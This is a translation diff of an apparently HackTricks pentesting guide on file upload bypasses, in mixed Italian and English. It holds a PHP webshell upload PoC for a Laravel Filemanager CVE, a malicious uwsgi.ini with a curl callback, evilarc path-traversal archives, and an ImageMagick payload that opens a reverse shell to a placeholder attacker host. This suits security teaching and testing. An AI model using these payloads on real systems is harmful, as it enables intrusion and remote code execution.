@ -1,13 +1,13 @@
# Caricamento file
# Upload di file
{{#include ../../banners/hacktricks-training.md}}
## Metodologia generale per il caricamento file
## Metodologia generale per l'upload di file
Altre estensioni utili:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Lavorare con PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Altre estensioni utili:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass dei controlli delle estensioni dei file
### Bypass dei controlli sulle estensioni dei file
1. Se vengono applicati, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere MAIUSCOLE**: _pHp, .pHP5, .PhAr ..._
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
1. Se applicabile, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
2. _Controlla **l'aggiunta di una estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_
- _file.png.php_
- _file.png.Php5_
3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per fare **bruteforce** su tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **precedentemente** menzionate_)
3. _Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** menzionate in precedenza_)_
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Altre estensioni utili:
- _file._
- _file.php...._
- _file.pHp5...._
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **raddoppio** dell'**estensione** o l'**inserimento di dati di junk** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'**estensione** o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni** precedenti per preparare un payload migliore._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,10 +43,10 @@ Altre estensioni utili:
5. Aggiungi **un altro livello di estensioni** al controllo precedente:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Prova a mettere l'**estensione eseguibile prima dell'estensione valida** e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni di Apache dove qualsiasi cosa con estensione **.php**, anche se non termina in .php, eseguirà il codice):
6. Prova a mettere l'**exec extension before the valid extension** e spera che il server sia malconfigurato. (utile per sfruttare misconfigurazioni di Apache dove qualsiasi file con extension** _**.php**_**, ma** non necessariamente terminante in .php** eseguirà codice):
- _ex: file.php.png_
7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti ":" verrà inserito dopo un'estensione proibita e prima di una permessa. Di conseguenza, un **file vuoto con l'estensione proibita** sarà creato sul server (es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente usando altre tecniche come il suo short filename. Il pattern "**::$data**" può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern può essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.")
8. Prova a superare i limiti del nome file. L'estensione valida viene troncata. E rimane il PHP malevolo. AAA<--SNIP-->AAA.php
7. Uso degli **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, un carattere due punti ":" sarà inserito dopo un'estensione proibita e prima di una consentita. Di conseguenza, verrà creato sul server un **file vuoto con l'estensione proibita** (e.g. "file.asax:.jpg"). Questo file potrebbe essere modificato in seguito usando altre tecniche come l'uso del suo short filename. Il "**::$data**” pattern può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe anche essere utile per bypassare ulteriori restrizioni (e.g. "file.asp::$data.")
8. Prova a superare i limiti del nome file. L'estensione valida viene troncata. E il PHP malevolo rimane. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Alcuni upload handler rimuovono o normalizzano i punti finali dal nome file salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, puoi bypassare la validazione dell'estensione mediante:
Alcuni upload handlers tagliano o normalizzano i caratteri punto finali dal nome file salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, puoi bypassare la validazione delle estensioni tramite:
- Usare un MIME immagine valido e l'header magic (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
- Usare un MIME immagine valido e un magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
- Nominare il file caricato con un'estensione PHP seguita da un punto, e.g., `shell.php.`.
- Il server rimuove il punto finale e salva `shell.php`, che verrà eseguito se posizionato in una directory servita dal web (default public storage come `/storage/files/`).
- Il server rimuove il punto finale e persiste `shell.php`, che verrà eseguito se posizionato in una directory servita dal web (storage pubblico di default come `/storage/files/`).
PoC minimale (Burp Repeater):
Minimal PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -80,16 +80,16 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
Poi accedi al percorso salvato (tipico in Laravel + LFM):
Quindi visita il percorso salvato (tipico in Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- Aggiornare unisharp/laravel-filemanager a ≥ 2.9.1.
- Imporre allowlists lato server rigorose e rieseguire la validazione del filename persistito.
- Servire gli uploads da posizioni non eseguibili.
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- Applica allowlists lato server rigorose e ri-verifica il persisted filename.
- Serve gli uploads da percorsi non eseguibili.
### Bypass di Content-Type, Magic Number, Compression & Resizing
### Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
@ -104,31 +104,31 @@ Mitigations:
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Altri trucchi da verificare
### Other Tricks to check
- Trova una vulnerabilità che permetta di **rinominare** il file già caricato (per cambiare l'estensione).
- Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
- Trova una vulnerabilità che permetta di **rename** il file già caricato (per cambiare l'estensione).
- Individua una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
- **Possibile divulgazione di informazioni**:
1. Caricare **più volte** (e nello **stesso momento**) lo **stesso file** con lo **stesso nome**
2. Caricare un file con il **nome** di un **file** o **cartella** che **esiste già**
3. Caricare un file con **".", "..", or "..." come nome**. Per esempio, in Apache su **Windows**, se l'app salva i file uploadati nella directory "/www/uploads/", il file con nome "." creerà un file chiamato "uploads" nella directory "/www/".
4. Caricare un file che potrebbe non essere facilmente eliminabile come **"…:.jpg"** su **NTFS**. (Windows)
5. Caricare un file su **Windows** con **caratteri non validi** come `|<>*?”` nel suo nome. (Windows)
6. Caricare un file su **Windows** usando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Prova anche a **caricare un eseguibile** (.exe) o una **.html** (meno sospetta) che **eseguirà codice** quando aperta accidentalmente dalla vittima.
1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
3. Caricare un file con **"." , "..”, o "…”** come nome. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati nella directory "/www/uploads/" il filename "." creerà un file chiamato "uploads" nella directory "/www/".
4. Carica un file che potrebbe non essere facilmente eliminabile come **"…:.jpg”** su **NTFS**. (Windows)
5. Carica un file su **Windows** con caratteri non validi come `|<>*?”` nel nome. (Windows)
6. Carica un file su **Windows** usando nomi riservati (forbidden) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
- Prova anche a **uploadare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
### Trucchi per estensioni speciali
### Special extension tricks
Se stai tentando di caricare file su un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se stai tentando di caricare file su un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Se stai cercando di caricare file su un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Se stai cercando di caricare file su un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendoli con php, o includendoli dentro uno script...)
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguirli con php, o includerli dentro uno script...).
L'estensione `.inc` è talvolta usata per file php che servono solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione sia eseguibile**.
L'estensione `.inc` è talvolta usata per file php che servono solo per **importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**.
## **Jetty RCE**
Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). Quindi, come mostrato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come mostrato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -136,9 +136,9 @@ Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new
Per un'esplorazione dettagliata di questa vulnerabilità consulta la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate sui server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione di uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è pensato per includere il contenuto di un file. Tra i vari supported schemes in uWSGI, lo scheme "exec" è particolarmente potente, permettendo la lettura di dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`.
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI sfruttano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. Notevolmente, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra gli schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene processato.
Considera il seguente esempio di un `uwsgi.ini` dannoso, che mostra vari scheme:
Considera il seguente esempio di un file `uwsgi.ini` malevolo che mostra vari schemi:
```ini
[uwsgi]
; read from a symbol
@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione sia attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un Denial of Service attack) oppure il file deve essere impostato su auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati al rilevamento di modifiche.
L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato in auto-reload. La funzione auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.
È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo di potenziale sfruttamento.
È fondamentale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente l'ambito di possibile sfruttamento.
## **wget File Upload/SSRF Trick**
In alcune occasioni potresti trovare che un server utilizza **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurare che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere aggirato.**\
La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **aggira** il **controllo** (poiché in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**.
In alcune occasioni potresti trovare che un server utilizza **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice può controllare che l'estensione dei file scaricati sia nella whitelist per assicurare che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere bypassato.**\
Il **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **bypasserà** il **controllo** (poiché in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -186,15 +186,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo ma poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
Nota che **un'altra opzione** che potresti prendere in considerazione per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo ma poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
## Strumenti
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di upload dei file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di upload di file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento di vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
### Corruzione degli indici di upload dovuta alle particolarità di snprintf (storico)
### Corrompere gli indici di upload con le idiosincrasie di snprintf (storico)
Alcuni gestori di upload legacy che usano `snprintf()` o simili per costruire array multi-file da un upload a file singolo possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incongruenze e troncamenti nel comportamento di `snprintf()`, un singolo upload accuratamente costruito può apparire come più file indicizzati lato server, confondendo logiche che assumono una forma rigida (ad es., trattarlo come un upload multi-file e prendere branch non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più vecchie.
Alcuni legacy upload handlers che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un upload singolo accuratamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigida (es. trattarlo come un upload multi-file e prendere branch non sicuri). Pur essendo di nicchia oggi, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più vecchie.
## Da upload di file ad altre vulnerabilità
@ -206,15 +206,15 @@ Alcuni gestori di upload legacy che usano `snprintf()` o simili per costruire ar
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Prova **diversi svg payloads** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Prova **different svg payloads** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Se puoi **istruire il web server a recuperare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **immagine** verrà **salvata** in un sito **pubblico**, puoi anche indicare un URL di [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
- Se puoi **indicare al web server di recuperare un'immagine da un URL** potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in un sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDF appositamente creati per XSS: la [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF, potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite.
- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenuto per verificare se il server ha qualche **antivirus**
- Verifica se esiste un **limite di dimensione** per il caricamento dei file
- PDF appositamente costruiti per XSS: La [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi caricare PDF potresti preparare un PDF che esegua JS arbitrario seguendo le indicazioni fornite.
- Carica il contenuto di \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) per verificare se il server ha qualche **antivirus**
- Verifica se esiste un **size limit** nel caricamento dei file
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Ecco una top 10 delle cose che puoi ottenere caricando file (da [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -239,7 +239,7 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
## Upload di Zip/Tar decompressi automaticamente
@ -247,7 +247,7 @@ Se puoi caricare uno ZIP che verrà decompresso sul server, puoi fare 2 cose:
### Symlink
Carica un archivio che contenga symlink a altri file; accedendo ai file decompressi potrai accedere ai file linkati:
Carica un archivio che contiene soft link a altri file; accedendo ai file decompressi accederai ai file linkati:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -255,18 +255,18 @@ tar -cvf test.tar symindex.txt
```
### Decomprimere in cartelle diverse
L'inaspettata creazione di file nelle directory durante la decompressione è un problema significativo. Nonostante l'assunzione iniziale che questa configurazione potesse proteggere dall'OS-level command execution tramite malicious file uploads, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attackers di bypassare le restrizioni e uscire dalle secure upload directories manipolando la funzionalità di decompressione dell'applicazione target.
La creazione imprevista di file in directory durante la decompressione è un problema significativo. Nonostante l'ipotesi iniziale che questa configurazione potesse proteggere dall'esecuzione di comandi a livello OS tramite upload di file dannosi, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di aggirare le restrizioni ed evadere le directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utility può essere usata come mostrato:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Inoltre, l'**symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante la sua esecuzione.
Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, crea nel tuo sistema un symlink a quel file. Questo garantisce che evilarc non incontri errori durante la sua esecuzione.
Di seguito è riportato un esempio di codice Python usato per creare un file zip dannoso:
Di seguito un esempio di codice Python usato per creare un file zip malevolo:
```python
#!/usr/bin/python
import zipfile
@ -284,11 +284,11 @@ zip.close()
create_zip()
```
**Abuso della compressione per file spraying**
**Sfruttare la compressione per file spraying**
Per ulteriori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Per maggiori dettagli **controlla il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: Viene scritto codice PHP per eseguire comandi passati tramite la variabile `$_REQUEST`.
1. **Creating a PHP Shell**: Il codice PHP è scritto per eseguire comandi passati tramite la variabile `$_REQUEST`.
```php
<?php
@ -305,7 +305,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, sostituendo "xxA" con "../" per attraversare le directory.
3. **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory.
```bash
:set modifiable
@ -322,33 +322,33 @@ viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incorporare una PHP shell in PNG
## Incorporare PHP Shell in PNG
Incorporare una PHP shell nel chunk IDAT di un file PNG può efficacemente bypassare certe operazioni di image processing. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, in quanto sono comunemente usate per ridimensionare e risamplerizzare immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
Incorporare una PHP shell nello chunk IDAT di un file PNG può eludere efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché vengono comunemente usate per ridimensionare e ricampionare le immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni scenari d'uso.
Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le possibili applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
Maggiori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
I polyglot files sono uno strumento unico in cybersecurity, funzionando come camaleonti che possono esistere validamente in più formati di file simultaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come RAR archive. Questi file non si limitano a questa combinazione; sono possibili anche accoppiamenti come GIF e JS o PPT e JS.
I polyglot files agiscono come uno strumento unico nella cybersecurity, comportandosi come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come archivio RAR. Questi file non sono limitati a questa coppia; sono possibili anche combinazioni come GIF e JS o PPT e JS.
L'utilità principale dei polyglot sta nella loro capacità di eludere misure di sicurezza che controllano i file basandosi sul tipo. Una pratica comune in molte applicazioni è permettere solo alcuni tipi di file in upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente pericolosi (es., JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare queste restrizioni in modo furtivo.
L'utilità principale dei polyglot files risiede nella loro capacità di eludere misure di sicurezza che controllano i file in base al tipo. È pratica comune in diverse applicazioni permettere solo determinati tipi di file in upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente pericolosi (es. JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare silenziosamente queste restrizioni.
Nonostante la loro adattabilità, i polyglot incontrano delle limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un PHAR file (PHp ARchive) e un JPEG, il successo dell'upload potrebbe dipendere dalle policy sulle estensioni della piattaforma. Se il sistema è rigoroso sulle estensioni consentite, la mera dualità strutturale di un polyglot potrebbe non essere sufficiente per garantirne l'upload.
Nonostante la loro adattabilità, i polyglot incontrano dei limiti. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR e un JPEG, il successo dell'upload potrebbe dipendere dalle politiche sulle estensioni del sistema. Se la piattaforma è rigorosa riguardo le estensioni consentite, la semplice dualità strutturale di un polyglot potrebbe non essere sufficiente per garantirne l'upload.
Maggiori informazioni su: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
